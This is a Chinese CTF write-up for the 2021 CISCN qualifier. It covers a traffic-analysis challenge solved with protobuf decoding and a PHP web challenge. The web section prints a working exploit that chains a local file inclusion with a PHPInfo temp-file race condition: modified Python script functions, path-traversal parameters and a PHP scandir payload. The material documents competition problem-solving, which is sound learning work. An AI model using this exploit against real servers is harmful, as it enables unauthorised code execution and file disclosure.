2021-05-16

2021 信息安全竞赛初赛 Writeup

自己写的 Misc 和 Web 部分,贡献了 700 分(队伍拿了 2400 分)

misc: tiny_traffic

下载附件,通过 Wireshark 打开,通过http过滤 HTTP 流量,发现最后有对/flag_wrapper/test/secret的请求:

image-20210516005228158

flag_wrapper的响应 Body 导出,通过gzip -d解压,得到

1
CISCN{}

test的响应 Body 导出,通过gzip -d解压,得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
syntax = "proto3";

message PBResponse {
  int32 code = 1;
  int64 flag_part_convert_to_hex_plz = 2;
  message data {
    string junk_data = 2;
    string flag_part = 1;
  }
  repeated data dataList = 3;
  int32 flag_part_plz_convert_to_hex = 4;
  string flag_last_part = 5;
}

message PBRequest {
  string cate_id = 1;
  int32 page = 2;
  int32 pageSize = 3;
}

这是 Protocol Buffer 的数据类型定义。将其保存为test文件,编译成 Python 脚本:

1
protoc test --python_out=protobuf

生成test_pb2.py文件。

之后,将secret的响应 Body 导出,通过brotli -d解压,保存为secret文件。借助test_pb2.py编写反序列化脚本:

1
2
3
4
5
6
import test_pb2
data = test_pb2.PBResponse()
f = open("../secret", "rb")
data.ParseFromString(f.read())
print(data)
f.close()

image-20210516010306608

故 Flag 为

1
hex(15100450) + "e2345" + "7889b0" + hex(16453958) + "d172a38dc"
1
CISCN{e66a22e23457889b0fb1146d172a38dc}

web: middle_source

首先查看源代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php 
    highlight_file(__FILE__); 
    echo "your flag is in some file in /etc "; 
    $fielf=$_POST["field"]; 
    $cf="/tmp/app_auth/cfile/".$_POST['cf']; 

    if(file_exists($cf)){ 
        include $cf; 
        echo $$field; 
        exit; 
    } 
    else{ 
        echo ""; 
        exit; 
    }
?>

可以看到cf参数存在文件包含漏洞。之后,通过dirsearch扫描网站:

1
./dirsearch.py -u "http://124.70.104.78:25633"

发现.listing文件,其中含有you_can_seeeeeeee_me.php

image-20210516003158383

进入后,发现其为 PHPInfo 页面。如果通过 POST 向 PHPInfo 页面上传文件,无论是否存在处理文件上传的代码,PHP 都会为其创建一个临时文件,并且该页面会显示临时的文件名/tmp/xxxxxx。因此可以通过目录穿越,设置cf参数为../../../tmp/xxxxxx,包含该文件名,执行 PHP 命令。

image-20210516002520980

由于已知 Flag 在/etc目录下,而上述 PHPInfo 中禁用了systemshell_execfile_put_contents等一系列函数,因此只能通过scandir逐层扫描目录,上传的文件内容为

1
<?php var_dump(scandir('/etc')); ?>

但是由于上述临时文件在上传完成,得到响应后已经不存在,因此需要利用条件竞争,构建一个很大的请求,使得 PHPInfo 页面充满无用的内容,无法及时生成响应。可以参考 https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py 这一脚本,针对setup函数进行修改:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def setup(host, port):
    TAG = 'Security Test'
    PAYLOAD = \
        """%s\r
<?php var_dump(scandir('/etc/')); ?>\r""" \
        % TAG
    REQ1_DATA = \
        """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" \
        % PAYLOAD
    padding = 'A' * 5000
    REQ1 = """POST /you_can_seeeeeeee_me.php?a=""" + padding \
        + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" \
        + padding + """\r
HTTP_ACCEPT: """ + padding \
        + """\r
HTTP_USER_AGENT: """ + padding \
        + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding \
        + """\r
HTTP_PRAGMA: """ + padding \
        + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" \
        % (len(REQ1_DATA), host, REQ1_DATA)

    # modify this to suit the LFI script

    LFIREQ = \
        """POST /index.php?field=123 HTTP/1.1\r
Host: %s\r
Content-Type: application/x-www-form-urlencoded; charset=utf-8\r
User-Agent: Mozilla/4.0\r
Connection: close\r
Content-Length: %s\r
\r
field=123&cf=..%%2F..%%2F..%s
"""
    return (REQ1, TAG, LFIREQ)

同时针对phpInfoLFI函数修改如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def phpInfoLFI(
    host,
    port,
    phpinforeq,
    offset,
    lfireq,
    tag,
    ):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ''
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index('[tmp_name] =&gt; ')
        fn = d[i + 17:i + 31]
    except ValueError:
        return None

    s2.send(lfireq % (host, str(len(fn) + 25), fn))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        print d
        return fn

运行该脚本

1
python exp.py 124.70.104.78 25633 200

效果如下,在最后输出了对/etc目录扫描的结果:

image-20210516004514308

发现dfifaadbih这个不正常的名字,因此修改脚本的PAYLOAD

1
2
3
PAYLOAD = \
        """%s\r
<?php var_dump(scandir('/etc/dfifaadbih')); ?>\r""" \

接着得到下一个目录名为 chffbfebcb,以此类推,最后得到 Flag 的路径为

1
/etc/dfifaadbih/chffbfebcb/ajeacbiafj/cfafecdfde/jejeffeeci/fl444444g

cf设为../../../etc/dfifaadbih/chffbfebcb/ajeacbiafj/cfafecdfde/jejeffeeci/fl444444g,即可获得 Flag

image-20210516005102573

1
CISCN{rIG51-YC9uV-14mg4-orgiI-WPFHE-}